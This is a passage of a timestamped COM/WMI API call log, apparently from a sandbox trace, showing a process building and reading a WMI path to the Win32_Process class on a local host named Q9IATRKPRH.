pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.106] WbemDefPath:IUnknown:Release (This=0x1bcc44c0) returned 0x3 [0147.106] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0147.106] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0147.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0147.106] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x2 [0147.106] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x1 [0147.106] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0147.106] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0147.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbc05a0) returned 0x0 [0147.106] WbemDefPath:IUnknown:AddRef (This=0x1bbc05a0) returned 0x3 [0147.106] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x2 [0147.106] WbemDefPath:IWbemPath:SetText (This=0x1bbc05a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0147.106] IWbemClassObject:Get (in: This=0x1bc77e00, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0147.106] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0147.107] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0147.107] IWbemClassObject:Get (in: This=0x1bc77e00, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0147.107] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0147.107] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0147.107] IWbemClassObject:Get (in: This=0x1bc77e00, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0147.107] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0147.107] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0147.108] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0147.108] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0147.108] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0147.108] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.110] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc43a0) returned 0x0 [0147.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc43a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0147.110] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc43a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0420) returned 0x0 [0147.110] WbemDefPath:IUnknown:Release (This=0x1bcc43a0) returned 0x0 [0147.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0420) returned 0x0 [0147.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0147.111] WbemDefPath:IUnknown:AddRef (This=0x1bbc0420) returned 0x3 [0147.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0147.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0147.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4440) returned 0x0 [0147.111] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.111] WbemDefPath:IUnknown:Release (This=0x1bcc4440) returned 0x3 [0147.111] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0147.111] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0147.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0147.111] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x2 [0147.111] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x1 [0147.111] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0147.111] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0147.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0420, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0420) returned 0x0 [0147.111] WbemDefPath:IUnknown:AddRef (This=0x1bbc0420) returned 0x3 [0147.111] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x2 [0147.111] WbemDefPath:IWbemPath:SetText (This=0x1bbc0420, uMode=0x4, pszPath="") returned 0x0 [0147.111] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0147.111] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0147.112] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0147.112] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.113] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc43a0) returned 0x0 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc43a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0147.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc43a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0360) returned 0x0 [0147.114] WbemDefPath:IUnknown:Release (This=0x1bcc43a0) returned 0x0 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0360) returned 0x0 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0147.114] WbemDefPath:IUnknown:AddRef (This=0x1bbc0360) returned 0x3 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0147.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4480) returned 0x0 [0147.114] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.115] WbemDefPath:IUnknown:Release (This=0x1bcc4480) returned 0x3 [0147.115] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0147.115] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0147.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0147.115] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x2 [0147.115] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x1 [0147.115] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0147.115] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0147.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0360, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0360) returned 0x0 [0147.115] WbemDefPath:IUnknown:AddRef (This=0x1bbc0360) returned 0x3 [0147.115] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x2 [0147.115] WbemDefPath:IWbemPath:SetText (This=0x1bbc0360, uMode=0x4, pszPath="") returned 0x0 [0147.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0147.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0420, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0147.115] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbc0360, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0147.115] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0360, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0147.115] WbemDefPath:IWbemPath:SetServer (This=0x1bbc0360, Name="Q9IATRKPRH") returned 0x0 [0147.115] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0147.115] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0147.115] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0147.116] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.118] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc44a0) returned 0x0 [0147.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc44a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0147.118] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc44a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc02a0) returned 0x0 [0147.118] WbemDefPath:IUnknown:Release (This=0x1bcc44a0) returned 0x0 [0147.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc02a0) returned 0x0 [0147.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0147.118] WbemDefPath:IUnknown:AddRef (This=0x1bbc02a0) returned 0x3 [0147.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0147.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0147.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc43e0) returned 0x0 [0147.119] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc43e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.119] WbemDefPath:IUnknown:Release (This=0x1bcc43e0) returned 0x3 [0147.119] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0147.119] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0147.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0147.119] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x2 [0147.119] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x1 [0147.119] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0147.119] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0147.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc02a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc02a0) returned 0x0 [0147.119] WbemDefPath:IUnknown:AddRef (This=0x1bbc02a0) returned 0x3 [0147.119] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x2 [0147.119] WbemDefPath:IWbemPath:SetText (This=0x1bbc02a0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0147.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0147.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc02a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0147.119] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0147.119] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc02a0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0147.119] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc0360) returned 0x0 [0147.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc02a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc02a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc02a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0147.120] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0360, uIndex=0x0, pszName="ROOT") returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc02a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc02a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0147.120] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0360, uIndex=0x1, pszName="CIMV2") returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbc0360, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0147.120] WbemDefPath:IWbemPath:SetClassName (This=0x1bbc0360, Name="Win32_Process") returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0360, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0360, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0147.120] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0360, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0147.120] 